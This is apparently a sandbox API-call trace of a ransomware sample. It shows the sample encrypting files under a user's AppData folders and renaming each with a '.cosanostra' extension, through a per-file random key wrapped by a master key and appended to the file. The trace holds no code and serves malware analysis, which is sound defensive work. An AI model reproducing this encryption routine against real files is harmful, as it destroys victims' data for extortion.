[0100.942] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x2abeed4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abeed4*=0xa, lpOverlapped=0x0) returned 1 [0100.944] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.944] WriteFile (in: hFile=0x15c, lpBuffer=0x2abef14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeed4, lpOverlapped=0x0 | out: lpBuffer=0x2abef14*, lpNumberOfBytesWritten=0x2abeed4*=0x4, lpOverlapped=0x0) returned 1 [0100.944] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeed4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abeed4*=0x30, lpOverlapped=0x0) returned 1 [0100.944] CloseHandle (hObject=0x15c) returned 1 [0100.944] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js.cosanostra") returned 108 [0100.944] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js.cosanostra")) returned 1 [0101.713] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef08 | out: pbBuffer=0x2abef08) returned 1 [0101.713] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abef00*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abef00*=0x30) returned 1 [0101.713] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0101.713] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned 92 [0101.714] StrStrW (lpFirst="deployment.properties", lpSrch=".txt") returned 0x0 [0101.767] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffd31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.768] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2cf, lpNumberOfBytesWritten=0x2abeec4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abeec4*=0x2cf, lpOverlapped=0x0) returned 1 [0101.768] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.768] WriteFile (in: hFile=0x160, lpBuffer=0x2abef04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeec4, lpOverlapped=0x0 | out: lpBuffer=0x2abef04*, lpNumberOfBytesWritten=0x2abeec4*=0x4, lpOverlapped=0x0) returned 1 [0101.768] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeec4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abeec4*=0x30, lpOverlapped=0x0) returned 1 [0101.768] CloseHandle (hObject=0x160) returned 1 [0101.768] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.cosanostra") returned 103 [0101.768] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.cosanostra")) returned 1 [0101.770] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef00 | out: pbBuffer=0x2abef00) returned 1 [0101.770] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeef8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeef8*=0x30) returned 1 [0101.770] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0101.771] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned 111 [0101.771] StrStrW (lpFirst="www.msn[1].xml", lpSrch=".txt") returned 0x0 [0101.830] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffcbc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.830] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x344, lpNumberOfBytesWritten=0x2abeebc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abeebc*=0x344, lpOverlapped=0x0) returned 1 [0101.830] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.830] WriteFile (in: hFile=0x160, lpBuffer=0x2abeefc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeebc, lpOverlapped=0x0 | out: lpBuffer=0x2abeefc*, lpNumberOfBytesWritten=0x2abeebc*=0x4, lpOverlapped=0x0) returned 1 [0101.830] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeebc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abeebc*=0x30, lpOverlapped=0x0) returned 1 [0101.830] CloseHandle (hObject=0x160) returned 1 [0101.831] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.cosanostra") returned 122 [0101.831] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.cosanostra")) returned 1 [0101.833] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeef8 | out: pbBuffer=0x2abeef8) returned 1 [0101.833] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeef0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeef0*=0x30) returned 1 [0101.833] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0101.835] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned 114 [0101.835] StrStrW (lpFirst="www.google[1].xml", lpSrch=".txt") returned 0x0 [0101.843] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffff3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.843] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x2abeeb4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abeeb4*=0xd, lpOverlapped=0x0) returned 1 [0101.843] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.843] WriteFile (in: hFile=0x160, lpBuffer=0x2abeef4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeeb4, lpOverlapped=0x0 | out: lpBuffer=0x2abeef4*, lpNumberOfBytesWritten=0x2abeeb4*=0x4, lpOverlapped=0x0) returned 1 [0101.843] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeeb4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abeeb4*=0x30, lpOverlapped=0x0) returned 1 [0101.843] CloseHandle (hObject=0x160) returned 1 [0101.844] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.cosanostra") returned 125 [0101.844] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.cosanostra")) returned 1 [0101.845] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeef8 | out: pbBuffer=0x2abeef8) returned 1 [0101.845] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeef0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeef0*=0x30) returned 1 [0101.845] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.845] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeef0 | out: pbBuffer=0x2abeef0) returned 1 [0101.845] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeee8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeee8*=0x30) returned 1 [0101.845] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.847] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeee8 | out: pbBuffer=0x2abeee8) returned 1 [0101.847] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeee0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeee0*=0x30) returned 1 [0101.847] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0101.848] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned 120 [0101.848] StrStrW (lpFirst="imagesrv.adition[1].xml", lpSrch=".txt") returned 0x0 [0101.849] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffff3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.849] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x2abeea4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abeea4*=0xd, lpOverlapped=0x0) returned 1 [0101.849] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.849] WriteFile (in: hFile=0x160, lpBuffer=0x2abeee4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeea4, lpOverlapped=0x0 | out: lpBuffer=0x2abeee4*, lpNumberOfBytesWritten=0x2abeea4*=0x4, lpOverlapped=0x0) returned 1 [0101.849] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeea4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abeea4*=0x30, lpOverlapped=0x0) returned 1 [0101.849] CloseHandle (hObject=0x160) returned 1 [0101.849] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.cosanostra") returned 131 [0101.849] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.cosanostra")) returned 1 [0101.851] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeee8 | out: pbBuffer=0x2abeee8) returned 1 [0101.851] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeee0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeee0*=0x30) returned 1 [0101.851] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.851] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeee0 | out: pbBuffer=0x2abeee0) returned 1 [0101.851] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeed8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeed8*=0x30) returned 1 [0101.851] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.851] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeee0 | out: pbBuffer=0x2abeee0) returned 1 [0101.851] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeed8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeed8*=0x30) returned 1 [0101.851] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.851] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeed8 | out: pbBuffer=0x2abeed8) returned 1 [0101.852] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeed0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeed0*=0x30) returned 1 [0101.852] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.852] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeed8 | out: pbBuffer=0x2abeed8) returned 1 [0101.852] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeed0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeed0*=0x30) returned 1 [0101.852] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.852] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeed0 | out: pbBuffer=0x2abeed0) returned 1 [0101.852] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeec8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeec8*=0x30) returned 1 [0101.852] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.859] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeeb8 | out: pbBuffer=0x2abeeb8) returned 1 [0101.859] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeeb0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeeb0*=0x30) returned 1 [0101.859] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\f90f18257cbb4d84216ac1e1f3bb2c76"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0101.860] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned 119 [0101.860] StrStrW (lpFirst="F90F18257CBB4D84216AC1E1F3BB2C76", lpSrch=".txt") returned 0x0 [0101.860] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff04, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.860] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2abee74, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abee74*=0xfc, lpOverlapped=0x0) returned 1 [0101.861] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.861] WriteFile (in: hFile=0x160, lpBuffer=0x2abeeb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee74, lpOverlapped=0x0 | out: lpBuffer=0x2abeeb4*, lpNumberOfBytesWritten=0x2abee74*=0x4, lpOverlapped=0x0) returned 1 [0101.861] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee74, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee74*=0x30, lpOverlapped=0x0) returned 1 [0101.861] CloseHandle (hObject=0x160) returned 1 [0101.861] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76.cosanostra") returned 130 [0101.861] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\f90f18257cbb4d84216ac1e1f3bb2c76"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\f90f18257cbb4d84216ac1e1f3bb2c76.cosanostra")) returned 1 [0101.862] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeeb0 | out: pbBuffer=0x2abeeb0) returned 1 [0101.862] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeea8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeea8*=0x30) returned 1 [0101.862] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\f293aead5e84facfb686c4a620718928_c8424a0b24a72939b13720d0c000c9c1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.108] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned 152 [0102.108] StrStrW (lpFirst="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpSrch=".txt") returned 0x0 [0102.109] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.109] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x2abee6c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee6c*=0x1a0, lpOverlapped=0x0) returned 1 [0102.109] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.109] WriteFile (in: 